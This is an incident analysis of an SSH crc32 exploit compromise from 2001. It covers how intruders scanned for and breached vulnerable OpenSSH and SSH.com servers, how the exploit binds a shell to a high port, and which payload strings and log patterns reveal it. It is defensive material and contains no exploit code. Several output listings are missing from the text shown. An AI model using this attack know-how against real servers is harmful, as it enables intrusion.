    Analysis of SSH crc32 compensation attack detector exploit
    ==========================================================

Summary of incident
===================

On October 6, 2001, intruders originating from network blocks
in the Netherlands used an exploit for the crc32 compensation attack
detector vulnerability to remotely compromise a Red Hat Linux
system on the UW network running OpenSSH 2.1.1.  This vulnerability is
described in CERT Vulnerability note VU#945216:

	http://www.kb.cert.org/vuls/id/945216

Once in the system, a series of operating system commands were
replaced with trojan horses to provide back doors for later entry
and to conceal the presence of the intruders in the system.  A second
SSH server was run on a high numbered port (39999/tcp).  The system
was then used for broad scanning (outbound from the UW network) to
identify more systems running OpenSSH 2.1.1, some of which were
then attacked manually.

Artifacts and logs were recovered from the system and analyzed.

[NOTE: This particular exploit is presumed to be independent of any
root kits or tool kits, so do not expect these same attributes to be
present on all systems attacking with an SSH crc32 exploit.]

The exploit is based on the source code for OpenSSH 2.2.0 (which
is the follow on to version 2.1.1, and patched a vulnerability in the
crc32 compensation attack detection function).  It is is actively being
used against systems running OpenSSH 2.1.1 servers which suffer from
this vulnerability, and has been successfully used against SSH.com
version 1.2.31 as well.  (Other implementations of SSH protocol 1
and versions have not been tested to date.)

The analyzed exploit lists the following targets:

	linux/x86 ssh.com 1.2.26-1.2.31 rhl
	linux/x86 openssh 1.2.3 (maybe others)
	linux/x86 openssh 2.2.0p1 (maybe others)
	freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl

While this exploit shows multiple targets, the attackers in this case
were only scanning for 22/tcp, then connecting to those systems that
respond to get the server version and explicitly looking for only
"OpenSSH_2.1.1".  These were rapid SYN scans, using a tool that
comes with the t0rn root kit.

Analysis of the compromised system revealed that 47067 addresses had
been scanned (totalling 25386 unique hosts -- it is not clear why
there is such a large overlap.)  Of the hosts scanned, 1244 vulnerable
hosts were identified, and the intruders had successfully exploited
and entered 4 hosts before the system was taken off-line on October 8.

Other reports of 22/tcp scanning have come in since October 8, and it
is believed that this exploit is circulating among IRC chat channels.

The exploit does not work against systems that use access control
restrictions (e.g., SSH.com's "AllowHosts" or "DenyHosts" settings)
or packet level filters (e.g., ipchains, iptables, ipf) which would
prevent a host from attempting to exchange public keys.  The
vulnerability requires being able to enter cryptographic key exchange
negotiation with the server to properly manipulate the stack.


Background on the vulnerability and exploit
===========================================

This vulnerability was first announced by CORE-SDI in their advisory
CORE-20010207, dated February 8, 2001:

	http://www.securityfocus.com/advisories/3088

Other advisories and bug descriptions are:

	http://xforce.iss.net/alerts/advise100.php
	http://razor.bindview.com/publish/advisories/adv_ssh1crc.html
	http://www.securityfocus.com/bugid=2347

On October 21, 2001, a thread was started by Jay Dyson on the
incidents@securityfocus.com email list about scans for SSH servers
originating from RIPE net blocks:

	http://www.securityfocus.com/cgi-bin/archive.pl?id=75&start=2001-10-27&end=2001-11-02&mid=221998&threads=1

Other groups have, or are working on, studies of scanning for
22/tcp around the globe.

A discussion on the vuln-dev@securityfocus.com email list prompted the
following Newsbytes story about selling such an exploit for $1000:

	Hackers Put A Price Tag On New Attack Tool
	http://www.newsbytes.com/news/01/171291.html


[NOTE:  The vulnerability is in the source code for SSH protocol 1,
not for SSH on a particular hardware architecture.  Unconfirmed rumors
exist that indicate shell code for Solaris 8/SPARC SSH.com 1.2.26-31
may also exist, so ALL ARCHITECTURES should be considered potentially
vulnerable, not just Linux/i386.]

Runtime analysis of the exploit
===============================

The exploit was tested on an isolated network segment, using a network
address of 10.10.10.0/24, with attacking host using 10.10.10.10 and
victim host using 10.10.10.3.

The victim is running SSH.com's version 1.2.31 compiled on Red Hat
Linux 6.0 (Kernel 2.2.16-3 on an i586).

The attacking host was running Fred Cohen's PLAC[1] (CD-ROM bootable
Linux 2.4.5 system, employing a ram disk for the root partition.)
Files were copied onto the system using "nc" (Netcat)[2].

This configuration allows some safety in the event the exploit (which
was reviewed in a cursory fashion by "reqt" disassembly[3]) actually
has some malicious code.  The non-routable network address and
isolated subnet also prevent potential damage.


Attacker's view
===============

When run with no arguments, the exploit presents the user with usage
information:

3: freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


[NOTE: Other versions of this exploit that are circulating have other
options listed which affect the same hosts, but support a different
back door port, in one case 3879/tcp, and require a special
environment variable be set to protect execution (See the README file
in Appendix B.) This may be a defensive mechanism against the exploit
being stolen or discovered.]

Our victim system is running SSH.com version 1.2.31 (unpatched)
on port 2222, with syslog logging directed to a separate file
("sshdx.log", excerpts shown below).

We select type 0 and attack our server on port 2222:

At this point, the exploit tool appears to "hang".  Switching to the
victim system, things have changed.



Victim's view
==============

Prior to the exploit, the victim system shows the standard SSH daemon
on port 22/tcp, and our vulnerable daemon on port 2222/tcp.  Both are
listening, and the standard SSH daemon has one incoming connection
(10.10.10.2:33354):

After the above exploit had run to the point of the apparent "hang",
a new listening service port is now visible on 12345/tcp:

During a second "attack", a netstat is run.  During the attack
window, the multiple brute force attack attempts are visible:

A successful exploit
====================

Now comes the fun part.  The exploit does the typical "bind a shell
to a high-numbered TCP port" trick, which also is visible in
"netstat" output (12345/tcp):

All that is necessary is for the attacker to then use "telnet" or "nc"
(Netcat) to connect to this port and start executing commands from the
shell (it is necessary to end each command line with a semi-colon),
or to pipe commands from a shell script (this automation method is
common, e.g. as seen in the analysis of trin00 published in 1999
in connection with DDoS attacks using that tool.)

[NOTE: Feedback from a reviewer of this analysis indicates that if you
use "nc" to connect to the back door port, rather than "telnet", you
don't need to terminate commands to the shell with semicolons.  Nc
adds in the newline character that the shell recognizes as a command
terminator.]

Once the attacker exits the shell, things on the victim system go back
to normal:

If syslog logging is enabled, the connections and brute force attempts
are quite visible (remember, this is stock SSH.com 1.2.31 on
Red Hat Linux 6.0 -- syslog signatures for OpenSSH were not obtained
in this analysis):

One final point.  Note the last syslog entry.  The successful exploit
causes an authentication attempt to pause while the shell code back door
becomes active.  You can connect to the shell and do whatever you
want.  Only problem is, the original SSH daemon (at least with SSH.com
1.2.31) will timeout when the authentication doesn't complete, and the
shell will be terminated.  This gives a window of ten minutes (at
least with SSH.com 1.2.31) before the listening shell's parent dies
and another exploit attempt must be started.  (That is plenty of time
to fully root the box eight ways from Sunday, unfortunately.)



Network traffic
===============

Tcpdump was used to capture the two "attacks" shown above. (The tcpdump
file "sshdx.dump", rather than the exploit itself, is available [11]
for those wishing to tune their IDSs to detect signatures of this
particular exploit. Use something like "tcpreplay" [12] if your IDS
does not support tcpdump files, then tell your coders to write tcpdump
import functions like Snort. ;)

[NOTE:  The tcpdump file was obtained using Red Hat's screwed up
libpcap, which includes the device name in the dump records.  This
means that all utilities, like "ngrep", must be linked against
Red Hat's stock libpcap in order to read this file.  I REALLY wish
that Red Hat had worked with the folks who maintain libpcap and
convinced them to support either dump format, or switch to adding
the device name in the standard libpcap, instead of going their
own way in what seems to be typical Linux fashion.  This *really*
makes it hard to share tcpdump files between operating systems.]

# tcpdump -s1500 -w sshdx.dump ip host 10.10.10.3 &

It can readily be seen that multiple connections are made to the SSH
daemon, and using "ngrep" [5], you can even spot the final connection
and brute force attack which interjects the shell code:

You can match (for this exploit binary) on the string "h0h0h0, 7350,
zip/TESO!" [7] in the packet payload, as well as for the "/bin/sh"
and NOP sled.  (Of course these, and other strings, may change or
disappear in derivatives of the original source.)

The following signatures were developed by Marty Roesch and Brian
Caswell, for use with Snort v1.8 or higher [6].

Identification of potentially vulnerable or exploited hosts
===========================================================

Two scanners exist to identify ssh servers and their versions: Jeremy
Mates' scan_ssh.pl[8] and Niels Provos' ScanSSH scanner[9].  A script
to take the results of a scan with scan_ssh.pl and produce a break
report on SSH server version and potential vulnerability can be found
in Appendix A.  You may need to update the script based on
vulnerability information provided by the authors of various SSH
servers to get accurate results.

Russell Fulton also has published a script for processing Argus[10]
logs, included below in Appendix C.


Final Note
==========

Team TESO issued a public statement about this exploit on 11/8/2001.

Subject: [unisog] Tool to find ssh attacks in argus logs
From: Russell Fulton <r.fulton@auckland.ac.nz>
To: unisog@sans.org, argus-info@lists.andrew.cmu.edu

Greetings All,
	     Here is a quick perl hack to scan archived argus[1] logs
for evidence of ssh attacks.  The current attack that we have seen
iterates an offset for the shell code and this script picks up the
repeated attempts.  The script is quite specific to this attack and
looks for ssh session within a quite narrow size range.

It has been tested by Peter Van Epp (thanks Peter!) on real data and
picked up all know attacks that they had seen and outgoing attacks from
machine on the network that had already been compromised.  Peter also
modified the script to work with argus 1.8.x (see comments).

This is a first cut at this problem.  If I get time I will modify this
(using stuff from my watcher scan detector script) to give real time
notification on attacks.
